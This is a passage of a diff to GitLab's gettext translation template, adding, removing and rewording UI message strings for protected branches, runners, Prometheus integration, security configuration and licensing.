+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
